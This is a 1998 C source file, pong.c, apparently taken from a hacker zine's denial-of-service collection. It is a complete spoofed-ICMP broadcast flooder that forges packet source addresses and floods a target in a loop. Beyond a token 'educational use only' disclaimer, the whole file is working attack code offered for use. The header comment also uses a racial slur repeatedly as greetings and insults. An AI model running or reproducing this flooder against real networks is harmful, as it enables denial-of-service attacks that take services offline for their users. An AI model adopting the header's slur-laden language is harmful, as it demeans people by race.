home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / pong.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  8KB  |  300 lines

  1. /*
  2.  * pong.c - by FA-Q
  3.  * spoofed icmp broadcast flooder
  4.  *
  5.  * niggaz:     #virii, #innuendo, zakath (for echok.c (where I got 99% of this code))
  6.  *             panasync (for the best irc client made).
  7.  *
  8.  * niggers:    drow, ducktape (for leaving sexual messages on my answering machine), 
  9.  *             gridnet (for killing my account when I was testing this program),
  10.  *             [watchy] i want to be under niggers. 
  11.  *
  12.  * disclaimer: this is for educational use only. please don't abuse this. also, do not
  13.  *              ask me how to use this.
  14.  *
  15.  */
  16.  
  17. #include <sys/types.h>
  18. #include <sys/socket.h>
  19. #include <stdio.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23. #include <netdb.h>
  24. #include <netinet/ip.h>
  25. #include <netinet/in.h>
  26. #include <netinet/ip_icmp.h>
  27.  
  28. #define IPHDRSIZE sizeof(struct iphdr)
  29. #define ICMPHDRSIZE sizeof(struct icmphdr)
  30. #define VIRGIN "1.1"
  31.  
  32. void version(void)   {
  33.     printf("pong %s - by FA-Q\n", VIRGIN);
  34.         }
  35.     
  36. void usage(const char *progname)
  37.      {
  38.     printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);
  39.            }
  40.  
  41. unsigned char *dest_name;
  42. unsigned char *spoof_name = NULL;
  43. struct sockaddr_in destaddr, spoofaddr;
  44. unsigned long dest_addr;
  45. unsigned long spoof_addr;
  46. unsigned      pingsize, pingsleep, pingnmbr;
  47. char          flood = 0;
  48.  
  49.  
  50. unsigned short in_cksum(addr, len)
  51.     u_short *addr;
  52.     int len;
  53. {
  54.     register int nleft = len;
  55.     register u_short *w = addr;
  56.     register int sum = 0;
  57.     u_short answer = 0;
  58.  
  59.     while (nleft > 1)  {
  60.         sum += *w++;
  61.         nleft -= 2;
  62.     }
  63.  
  64.     if (nleft == 1) {
  65.         *(u_char *)(&answer) = *(u_char *)w ;
  66.         sum += answer;
  67.     }
  68.  
  69.  
  70.     sum = (sum >> 16) + (sum & 0xffff); 
  71.     sum += (sum >> 16);
  72.     answer = ~sum;
  73.     return(answer);
  74. }
  75.  
  76. int resolve( const char *name, struct sockaddr_in *addr, int port )
  77.      {
  78.     struct hostent *host;
  79.     bzero((char *)addr,sizeof(struct sockaddr_in));
  80.  
  81.     if (( host = gethostbyname(name) ) == NULL )  {
  82.        fprintf(stderr,"%s will not resolve\n",name);
  83.        perror(""); return -1;
  84.     }
  85.      
  86.     addr->sin_family = host->h_addrtype;
  87.     memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  88.     addr->sin_port = htons(port);
  89.      
  90.         return 0;
  91.      }
  92.  
  93. unsigned long addr_to_ulong(struct sockaddr_in *addr)
  94.      {
  95.     return addr->sin_addr.s_addr;
  96.      }
  97.  
  98.  
  99. int resolve_one(const char *name, unsigned long *addr, const char *desc)
  100.      {
  101.         struct sockaddr_in tempaddr;
  102.     if (resolve(name, &tempaddr,0) == -1) {
  103.        printf("%s will not resolve\n",desc);
  104.        return -1;
  105.     }
  106.             
  107.     *addr = tempaddr.sin_addr.s_addr;
  108.            return 0;
  109.      }
  110.  
  111. int resolve_all(const char *dest,
  112.         const char *spoof)
  113.      {
  114.         if (resolve_one(dest,&dest_addr,"dest address")) return -1;
  115.     if (spoof!=NULL) 
  116.       if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
  117.     
  118.     spoofaddr.sin_addr.s_addr = spoof_addr;
  119.         spoofaddr.sin_family = AF_INET;
  120.     destaddr.sin_addr.s_addr = dest_addr;
  121.     destaddr.sin_family      = AF_INET;
  122.      }
  123.     
  124. void give_info(void)
  125.      {
  126.        printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);
  127.      }
  128.  
  129. int parse_args(int argc, char *argv[]) 
  130.      {
  131.         int opt;
  132.     
  133.     char *endptr;
  134.     
  135.     while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1)  {
  136.        switch(opt)  {
  137.           case 'f': flood = 1; break;
  138.           case 'c': pingnmbr = strtoul(optarg,&endptr,10);
  139.                     if (*endptr != '\0')  {
  140.                    printf("%s is an invalid number '%s'.\n", argv[0], optarg);
  141.                return -1;
  142.                    }
  143.                 break;
  144.           case 's': pingsize = strtoul(optarg,&endptr,10);
  145.                     if (*endptr != '\0')  {
  146.                    printf("%s is a bad packet size '%s'\n", argv[0], optarg);
  147.                    return -1;
  148.                    }
  149.                 break;
  150.           case 'i': pingsleep = strtoul(optarg,&endptr,10);
  151.                     if (*endptr != '\0')  {
  152.                    printf("%s is a bad wait time '%s'\n", argv[0], optarg);
  153.                    return -1;
  154.                    }
  155.                 break;
  156.           case 'V': version(); break;
  157.           case '?':
  158.           case ':': return -1; break;
  159.        }
  160.       
  161.     }
  162.         
  163.     if (optind > argc-2)  {
  164.        return -1;
  165.     }
  166.         
  167.         if (!pingsize)
  168.           pingsize = 28;
  169.         else
  170.           pingsize = pingsize - 36 ;
  171.  
  172.         if (!pingsleep)
  173.           pingsleep = 100;
  174.  
  175.     spoof_name = argv[optind++];
  176.     dest_name = argv[optind++];
  177.     
  178.         return 0;                   
  179.      }
  180.  
  181.  inline int icmp_echo_send(int                socket, 
  182.                 unsigned long      spoof_addr,
  183.                unsigned long      t_addr,
  184.                unsigned           pingsize)
  185.      {
  186.     unsigned char packet[5122];
  187.     struct iphdr   *ip;
  188.     struct icmphdr *icmp;
  189.     struct iphdr   *origip;
  190.         unsigned char  *data;
  191.  
  192.         int i;
  193.     
  194.     ip = (struct iphdr *)packet;
  195.     icmp = (struct icmphdr *)(packet+IPHDRSIZE);
  196.     origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
  197.     data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
  198.     
  199.     memset(packet, 0, 5122);
  200.     
  201.     ip->version  = 4;
  202.     ip->ihl      = 5; 
  203.     ip->ttl      = 255-random()%15;
  204.     ip->protocol = IPPROTO_ICMP;
  205.     ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
  206.     
  207.         bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
  208.         bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 
  209.  
  210.     ip->check    = in_cksum(packet,IPHDRSIZE);
  211.     
  212.     origip->version  = 4;
  213.     origip->ihl      = 5;
  214.     origip->ttl      = ip->ttl - random()%15;
  215.     origip->protocol = IPPROTO_TCP; 
  216.     origip->tot_len  = IPHDRSIZE + 30; 
  217.     origip->id       = random()%69;
  218.     
  219.         bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));
  220.  
  221.            origip->check = in_cksum(origip,IPHDRSIZE);
  222.     
  223.     *((unsigned int *)data)          = htons(pingsize);
  224.  
  225.     icmp->type = 8; /* why should this be 3? */
  226.     icmp->code = 0;
  227.     
  228.     icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);
  229.  
  230.     return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
  231.               (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
  232.     
  233.  
  234.      }
  235.  
  236. void main(int argc, char *argv[])
  237.      {
  238.         int s, i;
  239.         int floodloop;
  240.         
  241.     if (parse_args(argc,argv)) 
  242.       {  
  243.          usage(argv[0]); 
  244.          return;
  245.       }
  246.     
  247.     resolve_all(dest_name, spoof_name);
  248.     give_info();
  249.            
  250.            s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  251.     
  252.         if (!flood)
  253.       {
  254.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
  255.          {
  256.             printf("%s error sending packet\n",argv[0]); perror(""); return;
  257.          }
  258.       }
  259.     else
  260.       {
  261.              floodloop = 0;
  262.              if ( pingnmbr && (pingnmbr > 0) )
  263.              {
  264.                printf("sending... packet limit set\n");
  265.                for (i=0;i<pingnmbr;i++)
  266.            {
  267.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
  268.              {
  269.             printf("%s error sending packet\n",argv[0]); perror(""); return; 
  270.              }
  271.           usleep((pingsleep*1000));                 
  272.  
  273.              if (!(floodloop = (floodloop+1)%25)) 
  274.           { fprintf(stdout,"."); fflush(stdout); 
  275.              }
  276.         
  277.             }
  278.                printf("\ncomplete, %u packets sent\n", pingnmbr);
  279.              }
  280.              else {
  281.                printf("flooding, (. == 25 packets)\n");
  282.                for (i=0;i<1;i)
  283.            {
  284.          if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
  285.              {
  286.             printf("%s error sending packet\n",argv[0]); perror(""); return; 
  287.              }
  288.           usleep(900);                 
  289.  
  290.              if (!(floodloop = (floodloop+1)%25)) 
  291.           { fprintf(stdout,"."); fflush(stdout); 
  292.              }
  293.         
  294.             }
  295.              }
  296.  
  297.       }
  298.      }
  299.  
  300.